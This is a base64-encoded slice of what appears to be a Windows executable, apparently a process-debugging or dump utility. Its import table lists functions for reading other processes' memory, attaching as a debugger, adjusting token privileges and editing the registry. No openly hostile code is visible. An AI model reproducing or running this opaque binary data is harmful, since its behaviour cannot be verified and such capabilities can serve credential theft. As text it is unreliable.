aXRGb3JTaW5nbGVPYmplY3QAwARTbGVlcADSAERlbGV0ZUNyaXRpY2FsU2VjdGlvbgCNAkdldFRocmVhZENvbnRleHQAAJoCR2V0VGlja0NvdW50AADGA1JlYWRQcm9jZXNzTWVtb3J5AIcDT3BlblRocmVhZAAAxgBEZWJ1Z0FjdGl2ZVByb2Nlc3MAAMcARGVidWdBY3RpdmVQcm9jZXNzU3RvcAAAaAFGcmVlTGlicmFyeQCoAENyZWF0ZVByb2Nlc3NXAADGAUdldEN1cnJlbnRQcm9jZXNzAOoCSW5pdGlhbGl6ZUNyaXRpY2FsU2VjdGlvbgCCA09wZW5Qcm9jZXNzAAgCR2V0TGFzdEVycm9yAACABFNldExhc3RFcnJvcgAAZwBDb250aW51ZURlYnVnRXZlbnQAAAUFV2FpdEZvckRlYnVnRXZlbnQAFgRSZXN1bWVUaHJlYWQAALQAQ3JlYXRlVGhyZWFkAABkAUZvcm1hdE1lc3NhZ2VXAABpA011bHRpQnl0ZVRvV2lkZUNoYXIAIwFFeHBhbmRFbnZpcm9ubWVudFN0cmluZ3NXAM4EVGVybWluYXRlUHJvY2VzcwAAOwRTZXRDb25zb2xlQ3RybEhhbmRsZXIAAgJHZXRGdWxsUGF0aE5hbWVXAADMBFN5c3RlbVRpbWVUb1R6U3BlY2lmaWNMb2NhbFRpbWUA8QFHZXRGaWxlQXR0cmlidXRlc1cAAOIBR2V0RW52aXJvbm1lbnRWYXJpYWJsZUEAxQFHZXRDdXJyZW50RGlyZWN0b3J5VwAAmANQcm9jZXNzMzJGaXJzdFcAegJHZXRTeXN0ZW1JbmZvAAYFV2FpdEZvck11bHRpcGxlT2JqZWN0cwAAmgNQcm9jZXNzMzJOZXh0VwAAAgNJc0RlYnVnZ2VyUHJlc2VudAC9AENyZWF0ZVRvb2xoZWxwMzJTbmFwc2hvdAAAxwFHZXRDdXJyZW50UHJvY2Vzc0lkAMgARGVidWdCcmVhawAAfgJHZXRTeXN0ZW1UaW1lAI8AQ3JlYXRlRmlsZVcA+AFHZXRGaWxlU2l6ZUV4ANcARGVsZXRlRmlsZVcAHwFFeGl0UHJvY2VzcwDPAUdldERhdGVGb3JtYXRXAAB1BFNldEZpbGVQb2ludGVyRXgAAJ4CR2V0VGltZUZvcm1hdFcAAAEEUmVsZWFzZVNlbWFwaG9yZQAArgBDcmVhdGVTZW1hcGhvcmVXAABTAkdldFByb2Nlc3NJZAAA4QBEZXZpY2VJb0NvbnRyb2wAAQVWaXJ0dWFsUXVlcnlFeAAAS0VSTkVMMzIuZGxsAADTAlNldFdpbmRvd1RleHRXAACAAlNlbmRNZXNzYWdlVwAAfgFHZXRTeXNDb2xvckJydXNoAADaAEVuZERpYWxvZwApAUdldERsZ0l0ZW0AALkBSW5mbGF0ZVJlY3QA7wFMb2FkQ3Vyc29yVwCqAERpYWxvZ0JveEluZGlyZWN0UGFyYW1XAI4CU2V0Q3Vyc29yAP0BTG9hZFN0cmluZ0EAqAFHZXRXaW5kb3dUaHJlYWRQcm9jZXNzSWQAAOQBSXNXaW5kb3dWaXNpYmxlAPIARW51bVdpbmRvd3MA1AFJc0h1bmdBcHBXaW5kb3cAOwN3c3ByaW50ZlcAVVNFUjMyLmRsbAAA7wBFbmREb2MAALACU3RhcnREb2NXAJQCU2V0TWFwTW9kZQAAywFHZXREZXZpY2VDYXBzALICU3RhcnRQYWdlAPIARW5kUGFnZQBHREkzMi5kbGwAFQBQcmludERsZ1cAQ09NRExHMzIuZGxsAABkAlJlZ0NyZWF0ZUtleVcAlgJSZWdRdWVyeVZhbHVlRXhXAACMAlJlZ09wZW5LZXlXAIkCUmVnT3BlbktleUV4VwBYAlJlZ0Nsb3NlS2V5AKYCUmVnU2V0VmFsdWVFeFcAAGECUmVnQ3JlYXRlS2V5RXhXAGwCUmVnRGVsZXRlS2V5VwBwAlJlZ0RlbGV0ZVZhbHVlVwASAk9wZW5Qcm9jZXNzVG9rZW4AAK0BTG9va3VwUHJpdmlsZWdlVmFsdWVXAB8AQWRqdXN0VG9rZW5Qcml2aWxlZ2VzAGUAQ2xvc2VTZXJ2aWNlSGFuZGxlAAAUAk9wZW5TQ01hbmFnZXJXAAASAUVudW1TZXJ2aWNlc1N0YXR1c0V4VwBBRFZBUEkzMi5kbGwAAAYAQ29tbWFuZExpbmVUb0FyZ3ZXAABTSEVMTDMyLmRsbABwAENvVW5pbml0aWFsaXplAABDAENvSW5pdGlhbGl6ZUV4AAAOAENvQWxsb3dTZXRGb3JlZ3JvdW5kV2luZG93AAAUAENvQ3JlYXRlSW5zdGFuY2UAAAwAQ0xTSURGcm9tU3RyaW5nAG9sZTMyLmRsbABBAFBkaEdldEZvcm1hdHRlZENvdW50ZXJWYWx1ZQBXAFBkaE9wZW5RdWVyeVcAAwBQZGhBZGRDb3VudGVyVwAAEgBQZGhDb2xsZWN0UXVlcnlEYXRhAHBkaC5kbGwA7gBFbmNvZGVQb2ludGVyAMsARGVjb2RlUG9pbnRlcgDXAkhlYXBGcmVlAADTAkhlYXBBbGxvYwCyAUdldENvbnNvbGVNb2RlAAC4A1JlYWRDb25zb2xlSW5wdXRBAEsEU2V0Q29uc29sZU1vZGUAAB0CR2V0TW9kdWxlSGFuZGxlRXhXAAAgBVdpZGVDaGFyVG9NdWx0aUJ5dGUAlARTZXRTdGRIYW5kbGUAAAYDSXNQcm9jZXNzb3JGZWF0dXJlUHJlc2VudAAhBFJ0bFBjVG9GaWxlSGVhZGVyALQDUmFpc2VFeGNlcHRpb24AAB8EUnRsTG9va3VwRnVuY3Rpb25FbnRyeQAAJQRSdGxVbndpbmRFeADcAkhlYXBTaXplAAAMA0lzVmFsaWRDb2RlUGFnZQBuAUdldEFDUAAAPgJHZXRPRU1DUAAAeAFHZXRDUEluZm8AywFHZXRDdXJyZW50VGhyZWFkSWQAAFECR2V0UHJvY2Vzc0hlYXAAADQFV3JpdGVGaWxlABgEUnRsQ2FwdHVyZUNvbnRleHQAJgRSdGxWaXJ0dWFsVW53aW5kAADiBFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAswRTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIA6wJJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uQW5kU3BpbkNvdW50ANMEVGxzQWxsb2MAANUEVGxzR2V0VmFsdWUA1gRUbHNTZXRWYWx1ZQDUBFRsc0ZyZWUAagJHZXRTdGFydHVwSW5mb1cAQANMb2FkTGlicmFyeUV4VwAAwwNSZWFkRmlsZQAAXQFGbHVzaEZpbGVCdWZmZXJzAACgAUdldENvbnNvbGVDUAAAcAJHZXRTdHJpbmdUeXBlVwAAqQNRdWVyeVBlcmZvcm1hbmNlQ291bnRlcgCAAkdldFN5c3RlbVRpbWVBc0ZpbGVUaW1lAOEBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAZwFGcmVlRW52aXJvbm1lbnRTdHJpbmdz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